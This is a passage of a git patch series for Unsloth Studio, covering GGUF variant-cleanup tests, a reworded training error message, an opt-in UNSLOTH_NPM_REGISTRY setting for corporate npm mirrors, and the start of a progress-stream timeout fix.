+        raise OSError(errno.ENOTEMPTY, "directory not empty")
+
+    monkeypatch.setattr(Path, "rmdir", _refilled)
+    removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_S")
+    assert removed == 0
+    assert failures == []
+
+
+def test_mark_empty_dir_cleanables_appends_unlisted(monkeypatch):
+    monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"})
+    resp = GgufVariantsResponse(
+        repo_id = "org/Repo-GGUF",
+        variants = [GgufVariantDetail(filename = "m-UD-IQ1_M.gguf", quant = "UD-IQ1_M", downloaded = True)],
+    )
+    out = gguf_variants._mark_empty_dir_cleanables("org/Repo-GGUF", resp)
+    by_q = {v.quant: v for v in out.variants}
+    assert by_q["UD-IQ1_M"].downloaded is True
+    assert by_q["UD-IQ1_S"].partial is True and by_q["UD-IQ1_S"].downloaded is False
+
+
+def test_mark_empty_dir_cleanables_flips_listed_variant(monkeypatch):
+    monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"})
+    resp = GgufVariantsResponse(
+        repo_id = "org/Repo-GGUF",
+        variants = [GgufVariantDetail(filename = "m-UD-IQ1_S.gguf", quant = "UD-IQ1_S")],
+    )
+    out = gguf_variants._mark_empty_dir_cleanables("org/Repo-GGUF", resp)
+    assert len(out.variants) == 1
+    assert out.variants[0].partial is True
+
+
+def _force_compute_to_raise(monkeypatch):
+    # Drive _compute() down its remote path, fail metadata, and have both cache
+    # fallbacks miss so the original error re-raises.
+    def _boom(*a, **k):
+        raise RuntimeError("offline")
+
+    monkeypatch.setattr(gguf_variants, "list_gguf_variants", _boom, raising = False)
+    monkeypatch.setattr(
+        gguf_variants, "list_gguf_variants_from_hf_cache", lambda repo_id: None, raising = False
+    )
+    monkeypatch.setattr(
+        gguf_variants, "list_partial_gguf_variants_from_state", lambda repo_id: None, raising = False
+    )
+
+
+def test_get_variants_surfaces_cleanable_when_metadata_fails(monkeypatch):
+    # Offline / model_info fails and only an empty leftover folder is cached:
+    # the cleanable must still be returned instead of the error propagating.
+    import asyncio
+
+    _force_compute_to_raise(monkeypatch)
+    monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"})
+
+    resp = asyncio.run(
+        gguf_variants.get_gguf_variants_response(
+            "org/Repo-GGUF", prefer_local_cache = False, hf_token = None
+        )
+    )
+    by_q = {v.quant: v for v in resp.variants}
+    assert "UD-IQ1_S" in by_q
+    assert by_q["UD-IQ1_S"].partial is True and by_q["UD-IQ1_S"].downloaded is False
+
+
+def test_get_variants_reraises_when_no_cleanable(monkeypatch):
+    # Offline with nothing cleanable: original error must propagate (as HTTP).
+    import asyncio
+
+    from fastapi import HTTPException
+
+    _force_compute_to_raise(monkeypatch)
+    monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: set())
+
+    try:
+        asyncio.run(
+            gguf_variants.get_gguf_variants_response(
+                "org/Repo-GGUF", prefer_local_cache = False, hf_token = None
+            )
+        )
+        raised = False
+    except (HTTPException, RuntimeError):
+        raised = True
+    assert raised
diff --git a/studio/backend/hub/utils/gguf.py b/studio/backend/hub/utils/gguf.py
index acd650bf42..2e3de125f1 100644
--- a/studio/backend/hub/utils/gguf.py
+++ b/studio/backend/hub/utils/gguf.py
@@ -276,6 +276,33 @@ def iter_hf_cache_snapshots(repo_id: str):
     yield from snapshots
 
 
+def list_empty_gguf_variant_dirs(repo_id: str) -> set[str]:
+    """Quant labels present only as an EMPTY snapshot ``<quant>/`` folder (an
+    interrupted split download); a quant with shards in any snapshot is excluded."""
+    empty: dict[str, str] = {}
+    nonempty: set[str] = set()
+    for snapshot in iter_hf_cache_snapshots(repo_id):
+        try:
+            entries = list(snapshot.iterdir())
+        except OSError:
+            continue
+        for sub in entries:
+            try:
+                if sub.is_symlink() or not sub.is_dir():
+                    continue
+                quant = extract_quant_token(sub.name)
+                if not quant:
+                    continue
+                has_child = any(sub.iterdir())
+            except OSError:
+                continue
+            if has_child:
+                nonempty.add(quant.lower())
+            else:
+                empty.setdefault(quant.lower(), quant)
+    return {label for key, label in empty.items() if key not in nonempty}
+
+
 def list_gguf_variants_from_hf_cache(repo_id: str) -> Optional[tuple[list[GgufVariantInfo], bool]]:
     for snapshot in iter_hf_cache_snapshots(repo_id):
         variants, has_vision = list_local_gguf_variants(str(snapshot))

From e1698e05c7df12e2d8eaf93945f42e92cb53e1ad Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 25 Jun 2026 03:30:12 -0700
Subject: [PATCH 106/306] Studio: fix misleading "increase max_seq_length"
 message for train-on-completions (#6664)

The post-filter safety net for 'Train on completions' fires when
train_on_responses_only() masks every token in too many rows. Its trigger is
a row-drop ratio, not a token-length check, but the message hardcoded
"max_seq_length is too short, try increasing (e.g. 8192)" -- advice that
fires identically at any max_seq_length and can recommend a value below the
user's current setting (telling someone already at 16384 to use 8192).

The dominant real cause is that the model's response template is not found in
the formatted samples: the dataset is already formatted, or its structure
doesn't match the model's chat template, so every token gets masked and the
rows are dropped. Reword the error (and the comment above it) to lead with
that cause and the actionable fix (turn off 'Train on completions'), and
mention max_seq_length only as a secondary possibility without a hardcoded
recommendation.
---
 studio/backend/core/training/trainer.py | 28 ++++++++++++++++---------
 1 file changed, 18 insertions(+), 10 deletions(-)

diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py
index a13a75a72e..6f55daee39 100644
--- a/studio/backend/core/training/trainer.py
+++ b/studio/backend/core/training/trainer.py
@@ -3543,9 +3543,12 @@ class UnslothTrainer:
 
                     # ── Safety net: check if all samples were filtered out ──
                     # train_on_responses_only masks non-response tokens with -100;
-                    # if max_seq_length is too short the response is truncated away,
-                    # every sample becomes all -100, and Unsloth drops them, leaving
-                    # 0 usable samples. Skip this len()-based check for streaming.
+                    # a row becomes all -100 (and Unsloth drops it) when the response
+                    # template is not found in the formatted text. That is usually a
+                    # dataset/template mismatch (already-formatted data, or 'Train on
+                    # completions' applied to data that doesn't match the model's chat
+                    # template), and only sometimes max_seq_length truncating the
+                    # response away. Skip this len()-based check for streaming.
                     if detect_streaming_dataset(self.trainer.train_dataset):
                         logger.info("Skipping post-filter length check for streaming dataset\n")
                     else:
@@ -3560,13 +3563,18 @@ class UnslothTrainer:
                         if filtered_len == 0 or drop_pct > 30:
                             max_seq = training_args.get("max_seq_length", 2048)
                             error_msg = (
-                                f"{dropped}/{original_len} samples ({drop_pct}%) "
-                                f"were dropped after applying 'train on responses "
-                                f"only' — only {filtered_len} remain. This usually "
-                                f"means max_seq_length ({max_seq}) is too short "
-                                f"and the response portion is being truncated "
-                                f"away. Try increasing max_seq_length (e.g. 8192) "
-                                f"or disabling 'Train on completions'."
+                                f"{dropped}/{original_len} samples ({drop_pct}%) were "
+                                f"dropped after applying 'Train on completions': after "
+                                f"masking, those rows had no trainable response tokens "
+                                f"left. The usual cause is that this model's response "
+                                f"template was not found in the formatted samples, so "
+                                f"every token was masked out. That typically means the "
+                                f"dataset is already formatted, or its structure does "
+                                f"not match the model's chat template, so 'Train on "
+                                f"completions' should be turned off for this dataset. "
+                                f"Less commonly, a max_seq_length ({max_seq}) shorter "
+                                f"than the prompt can truncate the response away; only "
+                                f"raise it if your samples are actually longer than that."
                             )
                             logger.error(error_msg)
                             self._update_progress(error = error_msg, is_training = False)

From 54f25bf17e995c290a8a8c9e3d1472eddb2bd5bb Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 25 Jun 2026 04:01:43 -0700
Subject: [PATCH 107/306] Studio: UNSLOTH_NPM_REGISTRY opt-in for corporate npm
 mirrors (#6491) (#6663)

* Studio: UNSLOTH_NPM_REGISTRY opt-in for corporate npm mirrors (#6491)

studio/frontend/.npmrc pins registry=https://registry.npmjs.org/ as a
supply-chain lock. A project-level pin takes precedence over a user's
~/.npmrc, so behind a corporate firewall that blocks npmjs.org the
frontend bun/npm install hit npmjs.org directly and failed with 403.

Add an opt-in UNSLOTH_NPM_REGISTRY env var (off by default). When set it
is threaded as --registry into every registry-touching install in
setup.sh, setup.ps1 and build.sh (bun bootstrap, bun install + retry, npm
fallback, OXC validator runtime). --registry is the highest-precedence
override for both bun and npm and leaves min-release-age and save-exact
in force, so the default lock is unchanged for everyone else.

On an install failure that looks like a blocked registry, print guidance
pointing at UNSLOTH_NPM_REGISTRY and auto-suggest the mirror already set
in the user's npm config. Registries are never switched automatically.

Also correct the .npmrc comment: the pin does not block an ambient
NPM_CONFIG_REGISTRY env var (npm and bun honor that at higher precedence);
it only guards against a lower-precedence stale ~/.npmrc.

* Studio: make the registry hint reachable under set -e; clean temp log (#6491)

run_quiet_no_exit returns non-zero on failure, which under `set -euo
pipefail` exits the script at the call site before the exit code is
captured, so the new UNSLOTH_NPM_REGISTRY hint never printed on the npm
fallback and OXC validator paths. Guard both with `|| _rc=$?` (the same
idiom every other run_quiet_no_exit caller already uses) so the failure
branch runs, and remove the _FRONTEND_INSTALL_LOG temp file on the
early-exit path.

* Studio: detect the user's mirror outside the pinned frontend dir (#6491)

_suggest_npm_registry / Show-NpmRegistryHint run while the cwd is still
studio/frontend, whose .npmrc pins registry=https://registry.npmjs.org/.
So `npm config get registry` returned that pin instead of the user's
~/.npmrc mirror, and the "Detected a registry" branch was skipped for the
main corporate case (mirror set in ~/.npmrc). Run the lookup from a
directory with no project .npmrc (/ in bash, the temp dir in PowerShell)
so the user/global mirror is surfaced. The NPM_CONFIG_REGISTRY env check
is unchanged and still takes precedence.
---
 README.md              |  9 +++++
 build.sh               | 15 ++++++-
 studio/frontend/.npmrc | 15 +++++--
 studio/setup.ps1       | 59 +++++++++++++++++++++++++---
 studio/setup.sh        | 88 +++++++++++++++++++++++++++++++++++++++---
 5 files changed, 170 insertions(+), 16 deletions(-)

diff --git a/README.md b/README.md
index fcb0ee8dc0..9162d29b1c 100644
--- a/README.md
+++ b/README.md
@@ -246,6 +246,15 @@ curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_STUDIO_HOME=/abs/path sh
 $env:UNSLOTH_STUDIO_HOME='C:\path'; irm https://unsloth.ai/install.ps1 | iex
 ```
 
+Point the frontend build at a corporate npm mirror/proxy with `UNSLOTH_NPM_REGISTRY` (for the developer install behind a firewall that blocks `registry.npmjs.org`):
+```bash
+UNSLOTH_NPM_REGISTRY=https://artifactory.example.com/api/npm/npm/ ./install.sh --local
+```
+```powershell
+$env:UNSLOTH_NPM_REGISTRY='https://artifactory.example.com/api/npm/npm/'; .\install.ps1 --local
+```
+It is threaded as `--registry` into the Studio frontend `npm`/`bun` installs; the supply-chain locks (7-day `min-release-age`, exact version pins) stay in force.
+
 Cap Studio's native CPU thread pools on high-core hosts: `UNSLOTH_CPU_THREADS=8 unsloth studio -p 8888`.
 
 #### Uninstall
diff --git a/build.sh b/build.sh
index 286664b5e8..dc272f0de1 100644
--- a/build.sh
+++ b/build.sh
@@ -35,10 +35,19 @@ _restore_gitignores() {
 }
 trap _restore_gitignores EXIT
 
+# Corporate-mirror / proxy escape hatch (#6491). When UNSLOTH_NPM_REGISTRY is set we
+# thread it as `--registry <url>` into the installs (overrides frontend/.npmrc's pinned
+# registry for both bun and npm; min-release-age / save-exact stay in force). Empty
+# array (the default) expands to nothing under `set -u`.
+_NPM_REGISTRY_ARGS=()
+if [ -n "${UNSLOTH_NPM_REGISTRY:-}" ]; then
+    _NPM_REGISTRY_ARGS=(--registry "$UNSLOTH_NPM_REGISTRY")
+fi
+
 # Use bun for install if available (faster), fall back to npm.
 _install_ok=false
 if command -v bun &>/dev/null; then
-    if bun install; then
+    if bun install "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}"; then
         _install_ok=true
     else
         echo "⚠ bun install failed, falling back to npm"
@@ -46,8 +55,10 @@ if command -v bun &>/dev/null; then
     fi
 fi
 if [ "$_install_ok" != "true" ]; then
-    if ! npm install; then
+    if ! npm install "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}"; then
         echo "❌ ERROR: package install failed" >&2
+        echo "   If you are behind a corporate firewall/proxy, set UNSLOTH_NPM_REGISTRY to your mirror and retry, e.g.:" >&2
+        echo "   UNSLOTH_NPM_REGISTRY=https://your-mirror.example/api/npm/ ./build.sh" >&2
         exit 1
     fi
 fi
diff --git a/studio/frontend/.npmrc b/studio/frontend/.npmrc
index f2d15a4f15..19783b5ff4 100644
--- a/studio/frontend/.npmrc
+++ b/studio/frontend/.npmrc
@@ -14,9 +14,18 @@ min-release-age=7
 # `npm install <name>@<version> --save-exact` pass) but it stops new
 # carets from creeping into the manifest as patch-version footguns.
 save-exact=true
-# Lock the registry. A user-set PIP_INDEX_URL-style override (here:
-# NPM_CONFIG_REGISTRY env var or a stale ~/.npmrc) shouldn't redirect
-# our installs to an attacker registry.
+# Pin the default registry so a stale or hostile *lower-precedence* ~/.npmrc
+# can't silently redirect our installs to an attacker registry. Note this does
+# NOT block an ambient NPM_CONFIG_REGISTRY env var: npm and bun honor that at a
+# higher precedence than this project file. That is exactly why Unsloth does not
+# read NPM_CONFIG_REGISTRY and instead exposes one deliberate, explicit opt-in.
+#
+# Corporate mirror / proxy (issue #6491): if your firewall blocks
+# registry.npmjs.org, set UNSLOTH_NPM_REGISTRY=<your-mirror-url> when running
+# ./install.sh (or setup.sh / setup.ps1). The installer threads it as
+# `--registry <url>`, which overrides this line for both npm and bun while
+# leaving the min-release-age and save-exact locks above in force. Do not edit
+# this line for that -- the env var keeps the default pinned for everyone else.
 registry=https://registry.npmjs.org/
 audit-level=high
 fund=false
diff --git a/studio/setup.ps1 b/studio/setup.ps1
index 6b16702d3a..38398eb5f5 100644
--- a/studio/setup.ps1
+++ b/studio/setup.ps1
@@ -37,6 +37,18 @@ $DefaultLlamaSource = "https://github.com/ggml-org/llama.cpp"
 $DefaultLlamaTag = "latest"
 $DefaultLlamaForceCompileRef = "master"
 
+# Corporate-mirror / proxy escape hatch for the frontend npm/bun install (#6491).
+# studio/frontend/.npmrc pins registry=https://registry.npmjs.org/ as a supply-chain
+# lock, which overrides a corporate user's ~/.npmrc proxy and causes 403s behind a
+# firewall. UNSLOTH_NPM_REGISTRY is a deliberate opt-in: when set we splat it as
+# `--registry <url>` into every npm/bun install. `--registry` is the highest-precedence
+# override for BOTH tools and leaves min-release-age / save-exact in force. Empty array
+# (the default) splats to nothing, so normal installs are unchanged.
+$NpmRegistryArgs = @()
+if ($env:UNSLOTH_NPM_REGISTRY) {
+    $NpmRegistryArgs = @('--registry', $env:UNSLOTH_NPM_REGISTRY)
+}
+
 # Verbose can be enabled either by CLI flag or by UNSLOTH_VERBOSE=1.
 $script:UnslothVerbose = ($env:UNSLOTH_VERBOSE -eq '1')
 foreach ($a in $args) {
@@ -877,6 +889,41 @@ function substep {
     Write-StudioStdoutMirror ("  {0,-15}{1}" -f "", $Message)
 }
 
+function Show-NpmRegistryHint {
+    # Print actionable guidance when a frontend/OXC npm/bun install fails and the
+    # registry lock is the likely cause (corporate firewall/proxy). No-op once the
+    # user has opted in via UNSLOTH_NPM_REGISTRY. We never switch registries
+    # automatically -- we only guide.
+    if ($env:UNSLOTH_NPM_REGISTRY) { return }
+    $mirror = $env:NPM_CONFIG_REGISTRY
+    if (-not $mirror) {
+        # Read npm config from a dir with no project .npmrc so the frontend's pinned
+        # registry= does not mask the user's ~/.npmrc / global mirror.
+        $pushed = $false
+        try {
+            Push-Location ([System.IO.Path]::GetTempPath()) -ErrorAction Stop
+            $pushed = $true
+            $mirror = (& npm config get registry 2>$null | Out-String).Trim()
+        } catch { $mirror = "" } finally { if ($pushed) { Pop-Location } }
+    }
+    if ($mirror -in @("", "undefined", "null", "https://registry.npmjs.org", "https://registry.npmjs.org/")) {
+        $mirror = ""
+    }
+    Write-Host ""
+    step "frontend" "registry.npmjs.org looks blocked (corporate firewall/proxy?)" "Yellow"
+    if ($mirror) {
+        substep "Studio pins the public npm registry; your mirror is being ignored."
+        substep "Detected a registry in your npm config:"
+        substep "  $mirror"
+        substep "Re-run pointing Studio at it:"
+        substep "  `$env:UNSLOTH_NPM_REGISTRY='$mirror'; .\install.ps1 --local"
+    } else {
+        substep "If you use a private mirror/proxy, point Studio at it and re-run:"
+        substep "  `$env:UNSLOTH_NPM_REGISTRY='https://your-mirror.example/api/npm/'; .\install.ps1 --local"
+    }
+    substep "(min-release-age and save-exact stay enforced.)"
+}
+
 # ─────────────────────────────────────────────
 # Banner
 # ─────────────────────────────────────────────
@@ -2113,7 +2160,7 @@ if ($NeedNodeForSetup) {
             substep "installing bun (faster frontend package installs)..."
             $prevEAP_bun = $ErrorActionPreference
             $ErrorActionPreference = "Continue"
-            Invoke-SetupCommand { npm install -g bun --allow-scripts=bun } | Out-Null
+            Invoke-SetupCommand { npm install -g bun --allow-scripts=bun @NpmRegistryArgs } | Out-Null
             $ErrorActionPreference = $prevEAP_bun
             Refresh-Environment
             # Refresh-Environment rebuilds PATH (Machine;User;current), demoting the
@@ -2173,7 +2220,7 @@ if ($NeedFrontendBuild -and -not $IsPipInstall) {
     # the cache + retry once before falling back to npm.
     if ($UseBun) {
         Write-Host "   Using bun for package install (faster)" -ForegroundColor DarkGray
-        $bunExit = Invoke-SetupCommand { bun install }
+        $bunExit = Invoke-SetupCommand { bun install @NpmRegistryArgs }
         # On Windows, .bin/ entries vary by package manager:
         #   npm  → tsc, tsc.cmd, tsc.ps1
         #   bun  → tsc.exe, tsc.bunx
@@ -2187,7 +2234,7 @@ if ($NeedFrontendBuild -and -not $IsPipInstall) {
                 Remove-Item "node_modules" -Recurse -Force -ErrorAction SilentlyContinue
             }
             Invoke-SetupCommand { bun pm cache rm } | Out-Null
-            $bunExit = Invoke-SetupCommand { bun install }
+            $bunExit = Invoke-SetupCommand { bun install @NpmRegistryArgs }
             $hasTsc = (Test-Path "node_modules\.bin\tsc") -or (Test-Path "node_modules\.bin\tsc.cmd") -or (Test-Path "node_modules\.bin\tsc.exe") -or (Test-Path "node_modules\.bin\tsc.bunx")
             $hasVite = (Test-Path "node_modules\.bin\vite") -or (Test-Path "node_modules\.bin\vite.cmd") -or (Test-Path "node_modules\.bin\vite.exe") -or (Test-Path "node_modules\.bin\vite.bunx")
             if ($bunExit -ne 0 -or -not $hasTsc -or -not $hasVite) {
@@ -2206,13 +2253,14 @@ if ($NeedFrontendBuild -and -not $IsPipInstall) {
         }
     }
     if (-not $UseBun) {
-        $npmExit = Invoke-SetupCommand { npm install }
+        $npmExit = Invoke-SetupCommand { npm install @NpmRegistryArgs }
         if ($npmExit -ne 0) {
             Pop-Location
             $ErrorActionPreference = $prevEAP_npm
             foreach ($gi in $HiddenGitignores) { Rename-Item -Path "$gi._twbuild" -NewName (Split-Path $gi -Leaf) -Force -ErrorAction SilentlyContinue }
             Write-Host "[ERROR] npm install failed (exit code $npmExit)" -ForegroundColor Red
             Write-Host "   Try running 'npm install' manually in frontend/ to see errors" -ForegroundColor Yellow
+            Show-NpmRegistryHint
             exit 1
         }
     }
@@ -2249,11 +2297,12 @@ if ((Test-Path $OxcValidatorDir) -and $NodeSource -ne "skip" -and (Get-Command n
     $prevEAP_oxc = $ErrorActionPreference
     $ErrorActionPreference = "Continue"
     Push-Location $OxcValidatorDir
-    $oxcInstallExit = Invoke-SetupCommand { npm install }
+    $oxcInstallExit = Invoke-SetupCommand { npm install @NpmRegistryArgs }
     if ($oxcInstallExit -ne 0) {
         Pop-Location
         $ErrorActionPreference = $prevEAP_oxc
         Write-Host "[ERROR] OXC validator npm install failed (exit code $oxcInstallExit)" -ForegroundColor Red
+        Show-NpmRegistryHint
         exit 1
     }
     Pop-Location
diff --git a/studio/setup.sh b/studio/setup.sh
index 2e1be1c9c2..43ec9fe7b9 100755
--- a/studio/setup.sh
+++ b/studio/setup.sh
@@ -74,6 +74,62 @@ verbose_substep() {
     return 0
 }
 
+# ── Corporate-mirror / proxy escape hatch for the frontend npm/bun install (#6491) ──
+# studio/frontend/.npmrc pins registry=https://registry.npmjs.org/ as a supply-chain
+# lock. A project-level pin overrides a corporate user's ~/.npmrc proxy, so the install
+# hits npmjs.org directly and a firewall returns 403. UNSLOTH_NPM_REGISTRY is a
+# deliberate opt-in: when set we thread it as `--registry <url>` into every npm/bun
+# install. `--registry` is the highest-precedence override for BOTH tools and leaves
+# min-release-age / save-exact in force. Empty array (the default) expands to nothing
+# under `set -u`, so normal installs are unchanged.
+_NPM_REGISTRY_ARGS=()
+if [ -n "${UNSLOTH_NPM_REGISTRY:-}" ]; then
+    _NPM_REGISTRY_ARGS=(--registry "$UNSLOTH_NPM_REGISTRY")
+fi
+# Failure-path capture log consumed by _suggest_npm_registry. Set to a temp file
+# around the npm/bun installs; "" elsewhere so unrelated run_quiet calls don't capture.
+_CAPTURE_LOG=""
+
+# Print actionable guidance when a frontend/OXC npm/bun install fails and the registry
+# lock is the likely cause (corporate firewall/proxy). No-op once the user has opted in
+# via UNSLOTH_NPM_REGISTRY. We never switch registries automatically -- we only guide.
+# $1 = path to a captured install log (may be empty/missing).
+_suggest_npm_registry() {
+    [ -n "${UNSLOTH_NPM_REGISTRY:-}" ] && return 0
+    local _log="${1:-}"
+    # If we captured output and it does NOT look like a registry/network problem, stay
+    # quiet -- the raw error already shown is more useful than a misleading hint.
+    if [ -n "$_log" ] && [ -s "$_log" ] \
+        && ! grep -Eqi '40[13]|ENOTFOUND|ECONNREFUSED|ECONNRESET|ETIMEDOUT|EAI_AGAIN|ConnectionRefused|failed to resolve|registry\.npmjs\.org|getaddrinfo|tunneling socket|network|proxy|self.?signed|unable to (get|verify)' "$_log"; then
+        return 0
+    fi
+    # Best-effort: surface a mirror the user already configured (env or ~/.npmrc).
+    # Read npm config from / (a dir with no project .npmrc) so the frontend's pinned
+    # registry= does not mask the user's ~/.npmrc / global mirror -- the caller is
+    # still inside studio/frontend when this runs.
+    local _mirror="${NPM_CONFIG_REGISTRY:-${npm_config_registry:-}}"
+    if [ -z "$_mirror" ] && command -v npm >/dev/null 2>&1; then
+        _mirror="$( (cd / 2>/dev/null && npm config get registry) 2>/dev/null || true )"
+    fi
+    case "$_mirror" in
+        ""|undefined|null|https://registry.npmjs.org|https://registry.npmjs.org/) _mirror="" ;;
+    esac
+    printf '\n' >&2
+    step "frontend" "registry.npmjs.org looks blocked (corporate firewall/proxy?)" "$C_WARN" >&2
+    if [ -n "$_mirror" ]; then
+        substep "Studio pins the public npm registry; your mirror is being ignored." >&2
+        substep "Detected a registry in your npm config:" >&2
+        substep "  $_mirror" >&2
+        substep "Re-run pointing Studio at it:" >&2
+        substep "  UNSLOTH_NPM_REGISTRY=$_mirror ./install.sh --local" >&2
+    else
+        substep "If you use a private mirror/proxy, point Studio at it and re-run:" >&2
+        substep "  UNSLOTH_NPM_REGISTRY=https://your-mirror.example/api/npm/ ./install.sh --local" >&2
+    fi
+    substep "(min-release-age and save-exact stay enforced.)" >&2
+    return 0
+}
+
 run_maybe_quiet() {
     if _is_verbose; then
         "$@"
@@ -113,6 +169,7 @@ _run_quiet() {
         local exit_code=$?
         step "error" "$label failed (exit code $exit_code)" "$C_ERR" >&2
         cat "$tmplog" >&2
+        if [ -n "${_CAPTURE_LOG:-}" ]; then cat "$tmplog" >> "$_CAPTURE_LOG" 2>/dev/null || true; fi
         rm -f "$tmplog"
 
         if [ "$on_fail" = "exit" ]; then
@@ -647,7 +704,7 @@ elif [ "$NODE_SOURCE" = bundled ]; then
     substep "installing bun..."
     # --allow-scripts=bun: npm >=11.16 gates install scripts and bun's
     # postinstall fetches its binary; without it the install is a broken stub.
-    if run_maybe_quiet npm install -g bun --allow-scripts=bun && command -v bun &>/dev/null; then
+    if run_maybe_quiet npm install -g bun --allow-scripts=bun "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}" && command -v bun &>/dev/null; then
         substep "bun installed ($(bun --version))"
     else
         substep "bun install skipped (npm will be used instead)"
@@ -690,7 +747,7 @@ trap _restore_gitignores EXIT
 _try_bun_install() {
     local _log _exit_code=0
     _log=$(mktemp)
-    bun install >"$_log" 2>&1 || _exit_code=$?
+    bun install "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}" >"$_log" 2>&1 || _exit_code=$?
 
     # bun may create .exe shims on Windows (Git Bash / MSYS2) instead of plain scripts
     if [ "$_exit_code" -eq 0 ] \
@@ -707,11 +764,15 @@ _try_bun_install() {
         echo "   bun install exited 0 but critical binaries are missing:"
     fi
     sed 's/^/   | /' "$_log" >&2
+    if [ -n "${_CAPTURE_LOG:-}" ]; then cat "$_log" >> "$_CAPTURE_LOG" 2>/dev/null || true; fi
     rm -f "$_log"
     rm -rf node_modules
     return 1
 }
 
+# Capture install output (bun + npm fallback) so we can detect a registry block.
+_FRONTEND_INSTALL_LOG=$(mktemp)
+_CAPTURE_LOG="$_FRONTEND_INSTALL_LOG"
 _bun_install_ok=false
 if command -v bun &>/dev/null; then
     substep "using bun for package install (faster)"
@@ -728,12 +789,19 @@ if command -v bun &>/dev/null; then
     fi
 fi
 if [ "$_bun_install_ok" = false ]; then
-    run_quiet_no_exit "npm install" npm install --no-fund --no-audit --loglevel=error
-    _npm_install_rc=$?
+    # `|| _npm_install_rc=$?` keeps this off `set -e`'s exit path (run_quiet_no_exit
+    # returns non-zero on failure) so the hint branch is reachable; it also captures
+    # the exact exit code. Mirrors the `|| BUILD_OK=false` idiom used below.
+    _npm_install_rc=0
+    run_quiet_no_exit "npm install" npm install --no-fund --no-audit --loglevel=error "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}" || _npm_install_rc=$?
     if [ "$_npm_install_rc" -ne 0 ]; then
+        _suggest_npm_registry "$_FRONTEND_INSTALL_LOG"
+        rm -f "$_FRONTEND_INSTALL_LOG"
         exit "$_npm_install_rc"
     fi
 fi
+_CAPTURE_LOG=""
+rm -f "$_FRONTEND_INSTALL_LOG"
 run_quiet "npm run build" npm run build
 
 _restore_gitignores
@@ -759,11 +827,19 @@ fi  # end frontend build check
 # Node, so do not run npm install against an unsuitable/absent system Node.
 if [ -d "$_OXC_DIR" ] && [ "${NODE_SOURCE:-}" != skip ] && command -v npm &>/dev/null; then
     cd "$_OXC_DIR"
-    run_quiet_no_exit "npm install (oxc validator runtime)" npm install --no-fund --no-audit --loglevel=error
-    _oxc_install_rc=$?
+    _OXC_INSTALL_LOG=$(mktemp)
+    _CAPTURE_LOG="$_OXC_INSTALL_LOG"
+    # `|| _oxc_install_rc=$?` keeps this off `set -e`'s exit path so the hint branch
+    # below is reachable; it also captures the exact exit code.
+    _oxc_install_rc=0
+    run_quiet_no_exit "npm install (oxc validator runtime)" npm install --no-fund --no-audit --loglevel=error "${_NPM_REGISTRY_ARGS[@]+"${_NPM_REGISTRY_ARGS[@]}"}" || _oxc_install_rc=$?
+    _CAPTURE_LOG=""
     if [ "$_oxc_install_rc" -ne 0 ]; then
+        _suggest_npm_registry "$_OXC_INSTALL_LOG"
+        rm -f "$_OXC_INSTALL_LOG"
         exit "$_oxc_install_rc"
     fi
+    rm -f "$_OXC_INSTALL_LOG"
     cd "$SCRIPT_DIR"
 elif [ -d "$_OXC_DIR" ] && [ "${NODE_SOURCE:-}" != skip ]; then
     # No npm on PATH: skip rather than abort; the backend Node resolver degrades

From 09852ba18b992a74e71c6239ad4444897251bc09 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 25 Jun 2026 04:39:44 -0700
Subject: [PATCH 108/306] Studio: keep the live progress stream alive during
 pre-first-step preparation (#6665)

* Studio: don't time out the live progress stream during pre-first-step prep

The live progress SSE counts every 1s poll without a step update toward a
30-minute stall timeout, after which it emits an error event and ends the
stream. But that counter also runs during the pre-first-step phase (model
load + tokenizing the dataset), which is never reset because no step has
happened yet. On a large dataset that prep can take well over 30 minutes, so
the live view is torn down with an error while the run is perfectly healthy
and still preparing -- the run then trains on in the background with the UI
showing nothing, exactly the "no progress for hours" decoupling.

Apply the stall timeout only once the stream has actually seen a live step.
Before the first step the run is preparing and may legitimately emit no step
for a long time; heartbeats still flow so the client stays connected and the
worker's liveness still ends the loop when training finishes. A genuine
post-step stall still times out. Extracted the threshold to a module constant
so it can be tuned/tested.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: seed seen_live_step from the resume point on reconnect

Review follow-up: seen_live_step reset to False on every SSE request, so a
client reconnecting past the first step (Last-Event-ID set, or the run already
has step history) only receives heartbeats and never flips it true. A worker
that hangs after step N would then never trip the stall timeout for that
reconnected client. Initialize it from resume_from_step / existing step
history so reconnects keep the post-step timeout behavior, while a genuine
pre-first-step run still stays exempt. Added a reconnect regression test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten prep-phase progress timeout comments

Condense the verbose explanatory comments and docstring on the prep-phase stall
timeout exemption to shorter, clearer forms. Comment/whitespace only; verified no
code changed via AST diff. No behaviour change.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/routes/training.py             |  19 ++-
 .../test_training_progress_prep_timeout.py    | 141 ++++++++++++++++++
 2 files changed, 157 insertions(+), 3 deletions(-)
 create mode 100644 studio/backend/tests/test_training_progress_prep_timeout.py

diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py
index 8da0dc508f..38a2cab389 100644
--- a/studio/backend/routes/training.py
+++ b/studio/backend/routes/training.py
@@ -68,6 +68,11 @@ class TrainingStopRequest(PydanticBaseModel):
